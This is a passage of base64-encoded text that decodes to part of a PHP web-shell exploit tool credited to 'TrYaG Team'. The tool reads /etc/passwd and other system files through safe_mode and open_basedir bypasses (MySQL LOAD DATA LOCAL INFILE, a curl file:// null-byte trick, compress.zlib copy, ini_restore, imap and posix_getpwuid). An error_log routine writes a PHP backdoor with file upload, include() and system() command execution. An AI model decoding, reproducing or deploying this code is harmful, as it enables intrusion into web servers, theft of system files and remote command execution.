c3RmaWVsZD0xOw0KCQkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJCQkkdGFibGVkdW1wLj0iLCAiOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmaXJzdGZpZWxkPTA7DQoJCQkJfQ0KDQoJCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCQkkdGFibGVkdW1wIC49ICJOVUxMIjsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCQl9DQoJCQl9DQoNCgkJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCQlpZiAoJGZwKSB7DQoJCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAkdGFibGVkdW1wOw0KCQkJfQ0KCQl9DQoJCW15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCgl9DQoNCgljbGFzcyBGT1JNUyB7DQoJCWZ1bmN0aW9uIHRhYmxlaGVhZGVyKCkgew0KCQkJZWNobyAiPHRhYmxlIHdpZHRoPVwiNzc1XCIgYm9yZGVyPVwiMFwiIGNlbGxwYWRkaW5nPVwiM1wiIGNlbGxzcGFjaW5nPVwiMVwiIGJnY29sb3I9XCIjZmZmZmZmXCI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gaGVhZGVyZm9ybSgkYXJnPWFycmF5KCkpIHsNCgkJCWdsb2JhbCAkZGlyOw0KCQkJaWYgKCRhcmdbZW5jdHlwZV0pew0KCQkJCSRlbmN0eXBlPSJlbmN0eXBlPVwiJGFyZ1tlbmN0eXBlXVwiIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGVuY3R5cGU9IiI7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRhcmdbbWV0aG9kXSkpIHsNCgkJCQkkYXJnW21ldGhvZF0gPSAiUE9TVCI7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRhcmdbYWN0aW9uXSkpIHsNCgkJCQkkYXJnW2FjdGlvbl0gPSAnJzsNCgkJCX0NCgkJCWVjaG8gIiAgPGZvcm0gYWN0aW9uPVwiIi4kYXJnW2FjdGlvbl0uIlwiIG1ldGhvZD1cIiIuJGFyZ1ttZXRob2RdLiJcIiAkZW5jdHlwZT5cbiI7DQoJCQllY2hvICIgIDx0cj5cbiI7DQoJCQllY2hvICIgICAgPHRkPiIuJGFyZ1tjb250ZW50XS4iPC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQkJZWNobyAiICA8L2Zvcm0+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gdGRoZWFkZXIoJHRpdGxlKSB7DQoJCQlnbG9iYWwgJGRpcjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwiZmlyc3RhbHRcIj5cbiI7DQoJCQllY2hvICIJPHRkIGFsaWduPVwiY2VudGVyXCI+PGI+Ii4kdGl0bGUuIiBbPGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIlwiPrdtb2hhamVyPC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gdGRib2R5KCRjb250ZW50LCRhbGlnbj0nY2VudGVyJywkYmdjb2xvcj0nMicsJGhlaWdodD0nJywkZXh0cmE9JycsJGNvbHNwYW49JycpIHsNCgkJCWlmICgkYmdjb2xvcj09JzInKSB7DQoJCQkJJGNzcz0ic2Vjb25kYWx0IjsNCgkJCX0gZWxzZWlmICgkYmdjb2xvcj09JzEnKSB7DQoJCQkJJGNzcz0iZmlyc3RhbHQiOw0KCQkJfSBlbHNlIHsNCgkJCQkkY3NzPSRiZ2NvbG9yOw0KCQkJfQ0KCQkJJGhlaWdodCA9IGVtcHR5KCRoZWlnaHQpID8gIiIgOiAiIGhlaWdodD0iLiRoZWlnaHQ7DQoJCQkkY29sc3BhbiA9IGVtcHR5KCRjb2xzcGFuKSA/ICIiIDogIiBjb2xzcGFuPSIuJGNvbHNwYW47DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cIiIuJGNzcy4iXCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cIiIuJGFsaWduLiJcIiIuJGhlaWdodC4iICIuJGNvbHNwYW4uIiAiLiRleHRyYS4iPiIuJGNvbnRlbnQuIjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIHRhYmxlZm9vdGVyKCkgew0KCQkJZWNobyAiPC90YWJsZT5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBmb3JtaGVhZGVyKCRhY3Rpb249JycsJHRpdGxlLCR0YXJnZXQ9JycpIHsNCgkJCWdsb2JhbCAkZGlyOw0KCQkJJHRhcmdldCA9IGVtcHR5KCR0YXJnZXQpID8gIiIgOiAiIHRhcmdldD1cIiIuJHRhcmdldC4iXCIiOw0KCQkJZWNobyAiIDxmb3JtIGFjdGlvbj1cIiRhY3Rpb25cIiBtZXRob2Q9XCJQT1NUXCIiLiR0YXJnZXQuIj5cbiI7DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cImZpcnN0YWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwiPjxiPiIuJHRpdGxlLiIgWzxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiJcIj63tbvYPC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gbWFrZWhpZGRlbigkbmFtZSwkdmFsdWU9Jycpew0KCQkJZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIG1ha2VpbnB1dCgkbmFtZSwkdmFsdWU9JycsJGV4dHJhPScnLCR0eXBlPSd0ZXh0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8aW5wdXQgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiB0eXBlPVwiJHR5cGVcIiAiLiRjc3MuIiBzaXplPVwiJHNpemVcIiAkZXh0cmE+XG4iOw0KCQkJcmV0dXJuICRpbnB1dDsNCgkJfQ0KICAgICAgICBmdW5jdGlvbiBtYWtlaWQoJG5hbWUsJHZhbHVlPScnLCRleHRyYT0nJywkdHlwZT0nc2VsZWN0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8c2VsZWN0IG5hbWU9cGx1Z2luPjxvcHRpb24+Y2F0IC9ldGMvcGFzc3dkPC9vcHRpb24+PC9zZWxlY3Q+IjsNCgkJCXJldHVybiAkaW5wdXQ7DQoJCX0NCgkJIGZ1bmN0aW9uIG1ha2VpbXAoJG5hbWUsJHZhbHVlPScnLCRleHRyYT0nJywkdHlwZT0nc2VsZWN0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8c2VsZWN0IG5hbWU9c3dpdGNoPjxvcHRpb24gdmFsdWU9ZmlsZT5WaWV3IGZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj5WaWV3IGRpcjwvb3B0aW9uPjwvc2VsZWN0PiI7DQoJCQlyZXR1cm4gJGlucHV0Ow0KCQl9DQoJCWZ1bmN0aW9uIG1ha2V0ZXh0YXJlYSgkbmFtZSwkY29udGVudD0nJywkY29scz0nMTAwJywkcm93cz0nMjAnLCRleHRyYT0nJyl7DQoJCQkkdGV4dGFyZWEgPSAiPHRleHRhcmVhIG5hbWU9XCIiLiRuYW1lLiJcIiBjb2xzPVwiIi4kY29scy4iXCIgcm93cz1cIiIuJHJvd3MuIlwiICIuJGV4dHJhLiI+Ii4kY29udGVudC4iPC90ZXh0YXJlYT5cbiI7DQoJCQlyZXR1cm4gJHRleHRhcmVhOw0KCQl9DQoNCgkJZnVuY3Rpb24gZm9ybWZvb3Rlcigkb3Zlcj0nJywkaGVpZ2h0PScnKXsNCgkJCSRoZWlnaHQgPSBlbXB0eSgkaGVpZ2h0KSA/ICIiIDogIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwic2Vjb25kYWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwiIi4kaGVpZ2h0LiI+PGlucHV0IGNsYXNzPVwiaW5wdXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9J21vaGFqZXInPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJCWVjaG8gIiA8L2Zvcm0+XG4iOw0KCQkJZWNobyAkZW5kID0gZW1wdHkoJG92ZXIpID8gIiIgOiAiPC90YWJsZT5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgpKXsNCgkJCWlmICgkYXJnW211bHRpcGxlXT09MSkgew0KCQkJCSRtdWx0aXBsZSA9ICIgbXVsdGlwbGUiOw0KCQkJCWlmICgkYXJnW3NpemVdPjApIHsNCgkJCQkJJHNpemUgPSAic2l6ZT0kYXJnW3NpemVdIjsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoJGFyZ1tjc3NdPT0wKSB7DQoJCQkJJGNzcyA9ICJjbGFzcz1cImlucHV0XCIiOw0KCQkJfQ0KCQkJJHNlbGVjdCA9ICI8c2VsZWN0ICRjc3MgbmFtZT1cIiRhcmdbbmFtZV1cIiRtdWx0aXBsZSAkc2l6ZT5cbiI7DQoJCQkJaWYgKGlzX2FycmF5KCRhcmdbb3B0aW9uXSkpIHsNCgkJCQkJZm9yZWFjaCAoJGFyZ1tvcHRpb25dIEFTICRrZXk9PiR2YWx1ZSkgew0KCQkJCQkJaWYgKCFpc19hcnJheSgkYXJnW3NlbGVjdGVkXSkpIHsNCgkJCQkJCQlpZiAoJGFyZ1tzZWxlY3RlZF09PSRrZXkpIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfQ0KDQoJCQkJCQl9IGVsc2VpZiAoaXNfYXJyYXkoJGFyZ1tzZWxlY3RlZF0pKSB7DQoJCQkJCQkJaWYgKCRhcmdbc2VsZWN0ZWRdWyRrZXldPT0xKSB7DQoJCQkJCQkJCSRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCSRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCSRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsNCgkJCXJldHVybiAkc2VsZWN0Ow0KCQl9DQoJfQ0KDQoNCg0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48Yj5FeHBsb2l0OiByZWFkIGZpbGUgW1NRTCAsIGlkICwgQ1VSTCAsIGNvcHkgLCBpbmlfcmVzdG9yZSAsIGltYXBdICAgICYgTWFrZSBmaWxlIEVST1JSPC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4nKTsNCg0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9UkVEPnJlYWQgZmlsZSBTUUw6PC9GT05UPjxicj4nIC4kdGItPm1ha2VpbnB1dCgnTW9oYWplcjIyJywnL2V0Yy9wYXNzd2QnICkuJHRiLT5tYWtlaW5wdXQoJycsU2hvdywnTW9oYWplcjIyJywnc3VibWl0JykpKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1SRUQ+cmVhZCBmaWxlIGlkOjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaWQoJ3BsdWdpbicsJ2NhdCAvZXRjL3Bhc3N3ZCcgKS4kdGItPm1ha2VpbnB1dCgnJyxTaG93LCdwbHVnaW4nLCdzdWJtaXQnKSkpOw0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPVJFRD5yZWFkIGZpbGUgQ1VSTDo8L0ZPTlQ+PGJyPicgLiR0Yi0+bWFrZWlucHV0KCdjdXJsJywnL2V0Yy9wYXNzd2QnICkuJHRiLT5tYWtlaW5wdXQoJycsU2hvdywnY3VybCcsJ3N1Ym1pdCcpKSk7DQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9UkVEPnJlYWQgZmlsZSBjb3B5OjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaW5wdXQoJ2NvcHknLCcvZXRjL3Bhc3N3ZCcgKS4kdGItPm1ha2VpbnB1dCgnJyxTaG93LCdjb3B5Jywnc3VibWl0JykpKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1SRUQ+cmVhZCBmaWxlIGluaV9yZXN0b3JlOjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaW5wdXQoJ00yJywnL2V0Yy9wYXNzd2QnICkuJHRiLT5tYWtlaW5wdXQoJycsU2hvdywnTTInLCdzdWJtaXQnKSkpOw0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPVJFRD5yZWFkIGZpbGUgb3IgZGlyIHdpdGggaW1hcDo8L0ZPTlQ+PGJyPicgLiR0Yi0+bWFrZWltcCgnc3dpdGNoJywnL2V0Yy9wYXNzd2QnICkuJHRiLT5tYWtlaW5wdXQoJ3N0cmluZycsJy9ldGMvcGFzc3dkJyApLiR0Yi0+bWFrZWlucHV0KCdzdHJpbmcnLCdTaG93JywnJywnc3VibWl0JykpKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1SRUQ+TWFrZSBmaWxlIEVST1JSOjwvRk9OVD48YnI+JyAuJHRiLT5tYWtlaW5wdXQoJ0VSJywnTW9oYWplcjIyLnBocCcgKS4kdGItPm1ha2VpbnB1dCgnRVInLCdXcml0ZScsJ0VSJywnc3VibWl0JykpKTsNCg0KDQovLyByZWFkIGZpbGUgU1FMICggKSAvLw0KaWYoZW1wdHkoJF9QT1NUWydNb2hhamVyMjInXSkpew0KfSBlbHNlIHsNCmVjaG8gInJlYWQgZmlsZSBTUUwiLCI8YnI+IiA7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdyYXI9J29mZicgPiI7DQokZmlsZT0kX1BPU1RbJ01vaGFqZXIyMiddOw0KDQoNCiRteXNxbF9maWxlc19zdHIgPSAiL2V0Yy9wYXNzd2Q6L3Byb2MvY3B1aW5mbzovZXRjL3Jlc29sdi5jb25mOi9ldGMvcHJvZnRwZC5jb25mIjsNCiRteXNxbF9maWxlcyA9IGV4cGxvZGUoJzonLCAkbXlzcWxfZmlsZXNfc3RyKTsNCg0KJHNxbCA9IGFycmF5ICgNCiJVU0UgJG1kYiIsDQonQ1JFQVRFIFRFTVBPUkFSWSBUQUJMRSAnIC4gKCR0YmwgPSAnQScudGltZSAoKSkgLiAnIChhIExPTkdCTE9CKScsDQoiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUgJHRibCBGSUVMRFMgIg0KLiAiVEVSTUlOQVRFRCBCWSAgICAgICAnX19USElTX05FVkVSX0hBUFBFTlNfXycgIg0KLiAiRVNDQVBFRCBCWSAgICAgICAgICAnJyAiDQouICJMSU5FUyBURVJNSU5BVEVEIEJZICdfX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsDQoNCiJTRUxFQ1QgYSBGUk9NICR0YmwgTElNSVQgMSINCik7DQpteXNxbF9jb25uZWN0ICgkbWhvc3QsICRtdXNlciwgJG1wYXNzKTsNCg0KCQkJCQkJCQlmb3JlYWNoICgkc3FsIGFzICRzdGF0ZW1lbnQpIHsNCgkJCQkJCQkJICAgJHEgPSBteXNxbF9xdWVyeSAoJHN0YXRlbWVudCk7DQoNCgkJCQkJCQkJICAgaWYgKCRxID09IGZhbHNlKSBkaWUgKA0KCQkJCQkJCQkgICAgICAiRkFJTEVEOiAiIC4gJHN0YXRlbWVudCAuICJcbiIgLg0KCQkJCQkJCQkgICAgICAiUkVBU09OOiAiIC4gbXlzcWxfZXJyb3IgKCkgLiAiXG4iDQoJCQkJCQkJCSAgICk7DQoNCgkJCQkJCQkJICAgaWYgKCEgJHIgPSBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRxLCBNWVNRTF9OVU0pKSBjb250aW51ZTsNCg0KCQkJCQkJCQkgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJbMF0pOw0KCQkJCQkJCQkgICBteXNxbF9mcmVlX3Jlc3VsdCAoJHEpOw0KCQkJCQkJCQl9DQplY2hvICI8L3RleHRhcmVhPiI7DQp9DQovLyBFUk9SUiAvLw0KaWYoZW1wdHkoJF9QT1NUWydFUiddKSl7DQp9IGVsc2Ugew0KJEVST1JSPSRfUE9TVFsnRVInXTsNCmVjaG8gIGVycm9yX2xvZygiDQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPiBFeHBsb2l0OiBlcnJvcl9sb2coKSBCeSAqIFRyWWFHIFRlYW0gICogPC90aXRsZT4NCjxib2R5IGJnY29sb3I9XCIjMDAwMDAwXCI+DQo8dGFibGUgV2lkdGg9JzEwMCUnIGhlaWdodD0nMTAlJyBiZ2NvbG9yPScjOEMwNDA0JyBib3JkZXI9JzEnPg0KPHRyPg0KPHRkPjxjZW50ZXI+PGZvbnQgc2l6ZT0nNicgY29sb3I9JyNCQkI1MTYnPiBCeSAgVHJZYUcgVGVhbTwvZm9udD48L2NlbnRlcj48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+DQo8L2hlYWQ+DQo8Pw0KaWYoXCRmaWxldXAgPT0gXCJcIil7DQpFQ0hPIFwiIHJlYWRlIGZvciB1cCBcIjsNCn1lbHNlew0KXCRwYXRoPSBleGVjKFwicHdkXCIpOw0KXCRwYXRoIC49IFwiL1wkZmlsZXVwX25hbWVcIjsNClwkQ29weUZpbGUgPSBjb3B5KFwkZmlsZXVwLFwiXCRwYXRoXCIpOw0KaWYoXCRDb3B5RmlsZSl7DQplY2hvIFwiIHVwIG9rIFwiOw0KfWVsc2V7DQplY2hvIFwiIG5vIHVwIFwiOw0KfQ0KfQ0KaWYoZW1wdHkoXCRfUE9TVFsnbSddKSl7DQp9IGVsc2Ugew0KXCRtPVwkX1BPU1RbJ20nXTsNCmVjaG8gIHN5c3RlbShcJG0pOw0KfQ0KaWYoZW1wdHkoXCRfUE9TVFsnY21kJ10pKXsNCn0gZWxzZSB7DQpcJGg9ICBcJF9QT1NUWydjbWQnXTsNCiBwcmludCBpbmNsdWRlKFwkaCkgOw0KfQ0KPz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPg0KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGV1cCcgc2l6ZT0nMjAnPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgdXAgICc+DQo8L2Zvcm0+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnICA+DQo8aW5wdXQgdHlwZT0nY21kJyBuYW1lPSdjbWQnIHNpemU9JzIwJz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgIG9wZW4gKHNoaWxsLnR4dCkgJz4NCjwvZm9ybT4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPg0KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J20nIHNpemU9JzIwJz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgIHJ1biAgJz4NCjxpbnB1dCB0eXBlPSdyZXNldCcgdmFsdWU9JyByZXNldCAnPg0KPC9mb3JtPg0KIiwgMywkRVJPUlIpOw0KfQ0KDQovLyBpZCAvLw0KaWYgKCRfUE9TVFsncGx1Z2luJ10gKXsNCmVjaG8gInJlYWQgZmlsZSBpZCIgLCI8YnI+IjsNCmVjaG8gIjx0ZXh0YXJlYSBtZXRob2Q9J1BPU1QnIGNvbHM9Jzk1JyByb3dzPSczMCcgd3Jhcj0nb2ZmJyA+IjsNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsgICAvL2NhdCAvZXRjL3Bhc3N3ZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGFyYSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YWwpID0gZWFjaCgkYXJhKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCi8vIENVUkwgLy8NCmlmKGVtcHR5KCRfUE9TVFsnY3VybCddKSl7DQoNCn0gZWxzZSB7DQplY2hvICJyZWFkIGZpbGUgQ1VSTCIsIjxicj4iIDsNCmVjaG8gIjx0ZXh0YXJlYSBtZXRob2Q9J1BPU1QnIGNvbHM9Jzk1JyByb3dzPSczMCcgd3Jhcj0nb2ZmJyA+IjsNCiRtPSRfUE9TVFsnY3VybCddOw0KJGNoID0NCmN1cmxfaW5pdCgiZmlsZTovLy8iLiRtLiJceDAwLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuX19GSUxFX18pOw0KY3VybF9leGVjKCRjaCk7DQp2YXJfZHVtcChjdXJsX2V4ZWMoJGNoKSk7DQplY2hvICI8L3RleHRhcmVhPiI7DQp9DQoNCi8vIGNvcHkvLw0KJHUxcD0iIjsNCiR0eW1jemFzPSIiOw0KaWYoZW1wdHkoJF9QT1NUWydjb3B5J10pKXsNCn0gZWxzZSB7DQplY2hvICJyZWFkIGZpbGUgY29weSIgLCI8YnI+IjsNCmVjaG8gIjx0ZXh0YXJlYSBtZXRob2Q9J1BPU1QnIGNvbHM9Jzk1JyByb3dzPSczMCcgd3Jhcj0nb2ZmJyA+IjsNCiR1MXA9JF9QT1NUWydjb3B5J107DQokdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCmlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiR1MXAsICR0ZW1wKSl7DQokenJvZGxvID0gZm9wZW4oJHRlbXAsICJyIik7DQokdGVrc3QgPSBmcmVhZCgkenJvZGxvLCBmaWxlc2l6ZSgkdGVtcCkpOw0KZmNsb3NlKCR6cm9kbG8pOw0KZWNobyAiIi5odG1sc3BlY2lhbGNoYXJzKCR0ZWtzdCkuIiI7DQp1bmxpbmsoJHRlbXApOw0KZWNobyAiPC90ZXh0YXJlYT4iOw0KfSBlbHNlIHsNCmRpZSgiPEZPTlQgQ09MT1I9XCJSRURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUNCjxCPiIuaHRtbHNwZWNpYWxjaGFycygkdTFwKS4iPC9CPiBkb3Nlbid0IGV4aXN0cyBvciB5b3UgZG9uJ3QgaGF2ZQ0KYWNjZXNzLjwvQ0VOVEVSPjwvRk9OVD4iKTsNCn0NCn0NCg0KLy8vIGluaV9yZXN0b3JlIC8vDQppZihlbXB0eSgkX1BPU1RbJ00yJ10pKXsNCn0gZWxzZSB7DQplY2hvICJyZWFkIGZpbGUgaW5pX3Jlc3RvcmUiLCI8YnI+ICI7DQplY2hvICI8dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBjb2xzPSc5NScgcm93cz0nMzAnIHdyYXI9J29mZicgPiI7DQokbT0kX1BPU1RbJ00yJ107DQplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCiRzPXJlYWRmaWxlKCIkbSIpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQokcz1yZWFkZmlsZSgiJG0iKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0NCg0KLy8gaW1hcCAvLw0KDQokc3RyaW5nID0gIWVtcHR5KCRfUE9TVFsnc3RyaW5nJ10pID8gJF9QT1NUWydzdHJpbmcnXSA6IDA7DQokc3dpdGNoID0gIWVtcHR5KCRfUE9TVFsnc3dpdGNoJ10pID8gJF9QT1NUWydzd2l0Y2gnXSA6IDA7DQoNCmlmICgkc3RyaW5nICYmICRzd2l0Y2ggPT0gImZpbGUiKSB7DQplY2hvICJyZWFkIGZpbGUgaW1hcCIgLCI8YnI+IjsNCmVjaG8gIjx0ZXh0YXJlYSBtZXRob2Q9J1BPU1QnIGNvbHM9Jzk1JyByb3dzPSczMCcgd3Jhcj0nb2ZmJyA+IjsNCg0KJHN0cmVhbSA9IGltYXBfb3Blbigkc3RyaW5nLCAiIiwgIiIpOw0KDQokc3RyID0gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KaWYgKCFlbXB0eSgkc3RyKSkNCmVjaG8gIjxwcmU+Ii4kc3RyLiI8L3ByZT4iOw0KaW1hcF9jbG9zZSgkc3RyZWFtKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0gZWxzZWlmICgkc3RyaW5nICYmICRzd2l0Y2ggPT0gImRpciIpIHsNCmVjaG8gInJlYWQgIGRpciBpbWFwIiwiPGJyPiIgOw0KZWNobyAiPHRleHRhcmVhIG1ldGhvZD0nUE9TVCcgY29scz0nOTUnIHJvd3M9JzMwJyB3cmFyPSdvZmYnID4iOw0KDQokc3RyZWFtID0gaW1hcF9vcGVuKCIvZXRjL3Bhc3N3ZCIsICIiLCAiIik7DQppZiAoJHN0cmVhbSA9PSBGQUxTRSkNCmRpZSgiQ2FuJ3Qgb3BlbiBpbWFwIHN0cmVhbSIpOw0KJHN0cmluZyA9IGV4cGxvZGUoInwiLCRzdHJpbmcpOw0KaWYgKGNvdW50KCRzdHJpbmcpID4gMSkNCiRkaXJfbGlzdCA9IGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRzdHJpbmdbMF0pLCB0